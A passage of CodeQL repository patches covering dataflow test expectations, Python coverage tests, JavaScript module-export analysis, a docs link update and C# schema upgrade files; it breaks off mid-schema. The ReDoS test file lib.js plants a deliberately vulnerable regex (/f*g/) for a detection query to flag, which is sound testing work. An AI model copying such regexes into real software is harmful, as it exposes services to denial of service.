test.py:608:10:608:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:608:10:608:11 | ControlFlowNode for a1 | Flow found | +| test.py:608:10:608:11 | ControlFlowNode for a1 | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:608:10:608:11 | ControlFlowNode for a1 | Flow found | +| test.py:610:12:610:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:610:12:610:16 | ControlFlowNode for Subscript | Flow found | +| test.py:610:12:610:16 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:610:12:610:16 | ControlFlowNode for Subscript | Flow found | +| test.py:610:12:610:16 | ControlFlowNode for Subscript | test.py:595:31:595:36 | ControlFlowNode for SOURCE | test.py:610:12:610:16 | ControlFlowNode for Subscript | Flow found | +| test.py:611:10:611:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:611:10:611:14 | ControlFlowNode for Subscript | Flow found | +| test.py:611:10:611:14 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:611:10:611:14 | ControlFlowNode for Subscript | Flow found | +| test.py:611:10:611:14 | ControlFlowNode for Subscript | test.py:595:31:595:36 | ControlFlowNode for SOURCE | test.py:611:10:611:14 | ControlFlowNode for Subscript | Flow found | +| test.py:617:10:617:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:617:10:617:11 | ControlFlowNode for a1 | Flow found | +| test.py:617:10:617:11 | ControlFlowNode for a1 | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:617:10:617:11 | ControlFlowNode for a1 | Flow found | +| test.py:619:12:619:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:619:12:619:16 | ControlFlowNode for Subscript | Flow found | +| test.py:619:12:619:16 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:619:12:619:16 | ControlFlowNode for Subscript | Flow found | +| test.py:619:12:619:16 | ControlFlowNode for Subscript | test.py:595:31:595:36 | ControlFlowNode for SOURCE | test.py:619:12:619:16 | ControlFlowNode for Subscript | Flow found | +| test.py:620:10:620:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:620:10:620:14 | ControlFlowNode for Subscript | Flow found | +| test.py:620:10:620:14 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:620:10:620:14 | ControlFlowNode for Subscript | Flow found | +| test.py:620:10:620:14 | ControlFlowNode for Subscript | test.py:595:31:595:36 | ControlFlowNode for SOURCE | test.py:620:10:620:14 | ControlFlowNode for Subscript | Flow found | +| test.py:626:10:626:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:626:10:626:11 | ControlFlowNode for a1 | Flow found | +| test.py:626:10:626:11 | ControlFlowNode for a1 | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:626:10:626:11 | ControlFlowNode for a1 | Flow found | +| test.py:628:12:628:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:628:12:628:16 | ControlFlowNode for Subscript | Flow found | +| test.py:628:12:628:16 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:628:12:628:16 | ControlFlowNode for Subscript | Flow found | +| test.py:629:10:629:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:629:10:629:14 | ControlFlowNode for Subscript | Flow found | +| test.py:629:10:629:14 | ControlFlowNode for Subscript | test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:629:10:629:14 | ControlFlowNode for Subscript | Flow found | +| test.py:637:10:637:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:637:10:637:10 | ControlFlowNode for a | Flow found | +| test.py:637:10:637:10 | ControlFlowNode for a | test.py:636:19:636:24 | ControlFlowNode for SOURCE | test.py:637:10:637:10 | ControlFlowNode for a | Flow found | +| test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | test.py:728:16:728:21 | ControlFlowNode for SOURCE | test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index b62193c63c4..fe6e4d96899 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -206,6 +206,11 @@ def test_unpacking_comprehension(): SINK(x[0]) # Flow missing +def test_star_unpacking_comprehension(): + x = [a[0] for (*a, b) in [(SOURCE, NONSOURCE)]] + SINK(x[0]) # Flow missing + + # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) @@ -626,6 +631,14 @@ def test_iterated_unpacking_assignment_conversion(): SINK_F(b[0]) +@expects(3) +def test_iterable_repacking(): + a, *(b, c) = (SOURCE, NONSOURCE, SOURCE) + SINK(a) + SINK_F(b) + SINK(c) # Flow not found + + @expects(4) def test_iterable_unpacking_in_for(): tl = [(SOURCE, NONSOURCE), (SOURCE, NONSOURCE)] From fbfbe70debe926bf1ed14f595f7b2a2da91f75d0 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Tue, 19 Jan 2021 20:31:28 +0100 Subject: [PATCH 0720/1241] add support for unnamed/default exports in PackageExports.qll --- javascript/ql/src/semmle/javascript/PackageExports.qll | 7 +++++++ .../Performance/ReDoS/PolynomialBackTracking.expected | 1 + .../Performance/ReDoS/PolynomialReDoS.expected | 9 +++++++++ .../ql/test/query-tests/Performance/ReDoS/lib/lib.js | 8 ++++++++ 4 files changed, 25 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/PackageExports.qll b/javascript/ql/src/semmle/javascript/PackageExports.qll index 09212bc8aa6..350a6301dd3 100644 --- a/javascript/ql/src/semmle/javascript/PackageExports.qll +++ b/javascript/ql/src/semmle/javascript/PackageExports.qll @@ -78,5 +78,12 @@ private DataFlow::Node getAValueExportedByPackage() { private DataFlow::Node getAnExportFromModule(Module mod) { result.analyze().getAValue() = mod.(NodeModule).getAModuleExportsValue() or + exists(Variable var | var = mod.(Closure::ClosureModule).getExportsVariable() | + result.asExpr() = var.getAReference() or + result.asExpr() = var.getAnAssignedExpr() + ) + or + result.analyze().getAValue() = mod.(AmdModule).getDefine().getAModuleExportsValue() + or result = mod.getAnExportedValue(_) } diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 1c465b163dd..fcd8c43cd7c 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -25,6 +25,7 @@ | highlight.js:38:64:38:69 | [^()]* | Strings starting with 'A(' and with many repetitions of ''' can start matching anywhere after the start of the preceeding [^()]* | | highlight.js:39:22:39:24 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding [a-zA-Z_]\\w*\\([^()]*(\\([^()]*(\\([^()]*\\)[^()]*)*\\)[^()]*)*\\)\\s*\\{ | | lib/lib.js:1:15:1:16 | a* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding a*b | +| lib/lib.js:8:3:8:4 | f* | Strings with many repetitions of 'f' can start matching anywhere after the start of the preceeding f*g | | polynomial-redos.js:7:24:7:26 | \\s+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+$ | | polynomial-redos.js:8:17:8:18 | * | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding *, * | | polynomial-redos.js:9:19:9:21 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s*\\n\\s* | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index 59428ed86e0..9e5619f1aa3 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -3,6 +3,10 @@ nodes | lib/lib.js:3:28:3:31 | name | | lib/lib.js:4:14:4:17 | name | | lib/lib.js:4:14:4:17 | name | +| lib/lib.js:7:19:7:22 | name | +| lib/lib.js:7:19:7:22 | name | +| lib/lib.js:8:13:8:16 | name | +| lib/lib.js:8:13:8:16 | name | | polynomial-redos.js:5:6:5:32 | tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | | polynomial-redos.js:5:16:5:32 | req.query.tainted | @@ -150,6 +154,10 @@ edges | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | +| lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | +| lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | +| lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | +| lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:7:2:7:8 | tainted | | polynomial-redos.js:5:6:5:32 | tainted | polynomial-redos.js:8:2:8:8 | tainted | @@ -289,6 +297,7 @@ edges | polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result | #select | lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | +| lib/lib.js:8:2:8:17 | /f*g/.test(name) | lib/lib.js:7:19:7:22 | name | lib/lib.js:8:13:8:16 | name | This $@ that depends on $@ may run slow on strings with many repetitions of 'f'. | lib/lib.js:8:3:8:4 | f* | regular expression | lib/lib.js:7:19:7:22 | name | library input | | polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:8:2:8:23 | tainted ... *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | | polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js index 23ba27a32c2..47fc928845b 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/lib/lib.js @@ -3,3 +3,11 @@ var regexp = /a*b/; module.exports = function (name) { regexp.test(name); // NOT OK }; + +function bar(reg, name) { + /f*g/.test(name); // NOT OK +} + +if (typeof define !== 'undefined' && define.amd) { // AMD + define([], function () {return bar}); +} \ No newline at end of file From e96f94226968532558a5a7d80215c28cca5c3d30 Mon Sep 17 00:00:00 2001 From: Felicity Chapman <felicitymay@github.com> Date: Tue, 19 Jan 2021 22:38:12 +0000 Subject: [PATCH 0721/1241] Update reference to new CodeQL site --- docs/codeql/README.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/README.rst b/docs/codeql/README.rst index 39c4d18cd55..c7ea08519da 100644 --- a/docs/codeql/README.rst +++ b/docs/codeql/README.rst @@ -105,6 +105,6 @@ Viewing the current version of the CodeQL documentation ******************************************************* The documentation for the most recent release is -published to `help.semmle.com <https://help.semmle.com>`__. +published to `codeql.github.com <https://codeql.github.com>`__. There, you can find the documentation for the CodeQL queries, -the CodeQL standard libraries, and LGTM Enterprise. +the CodeQL standard libraries, and can learn about CodeQL. From 70c302ffbe1904fa9feaf32ea4382fbbf02fb790 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 20 Jan 2021 11:20:55 +0100 Subject: [PATCH 0722/1241] Add DB upgrade folder for function pointer --- .../old.dbscheme | 1922 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1940 +++++++++++++++++ .../upgrade.properties | 0 3 files changed, 3862 insertions(+) create mode 100644 csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/old.dbscheme create mode 100644 csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/semmlecode.csharp.dbscheme rename csharp/upgrades/{TO_CHANGE => 98e37f65f0ae39cfe1bff33908d6620ade5df0f7}/upgrade.properties (100%) diff --git a/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/old.dbscheme b/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/old.dbscheme new file mode 100644 index 00000000000..98e37f65f0a --- /dev/null +++ b/csharp/upgrades/98e37f65f0ae39cfe1bff33908d6620ade5df0f7/old.dbscheme @@ -0,0 +1,1922 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int 